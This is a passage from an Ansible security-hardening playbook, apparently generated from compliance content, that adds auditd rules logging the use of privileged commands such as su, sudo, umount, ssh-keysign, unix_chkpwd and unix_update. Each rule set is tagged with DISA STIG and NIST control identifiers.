    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/libexec/openssh/ssh-keysign
          -F auid&gt;=1000 -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/libexec/openssh/ssh-keysign
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/libexec/openssh/ssh-keysign -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/libexec/openssh/ssh-keysign -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/libexec/openssh/ssh-keysign
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030320
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_ssh_keysign
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - su
      - Perform remediation of Audit rules for /usr/bin/su
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/su -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/su -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/su -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/su -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/su -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/su -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030190
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_su
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - sudo
      - Perform remediation of Audit rules for /usr/bin/sudo
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/sudo -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/sudo -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/sudo -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/sudo -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/sudo -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/sudo -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030550
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_sudo
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - umount
      - Perform remediation of Audit rules for /usr/bin/umount
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/umount -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/umount -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/umount -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/umount -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/umount -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/umount -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030301
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_privileged_commands_umount
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - unix_chkpwd
      - Perform remediation of Audit rules for /usr/sbin/unix_chkpwd
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/unix_chkpwd -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/unix_chkpwd -F
          auid&gt;=1000 -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/unix_chkpwd
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/unix_chkpwd -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/unix_chkpwd -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/unix_chkpwd
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030317
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(a)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-12.1(ii)
    - NIST-800-53-AU-12.1(iv)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-AU-3
    - NIST-800-53-AU-3.1
    - NIST-800-53-CM-6(a)
    - NIST-800-53-MA-4(1)(a)
    - audit_rules_privileged_commands_unix_chkpwd
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects Information on the Use of Privileged Commands - unix_update
      - Perform remediation of Audit rules for /usr/sbin/unix_update
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/unix_update -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/unix_update -F
          auid&gt;=1000 -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/unix_update
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/unix_update -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/unix_update -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/unix_update
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030310
    - audit_rules_privileged_commands_unix_update
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

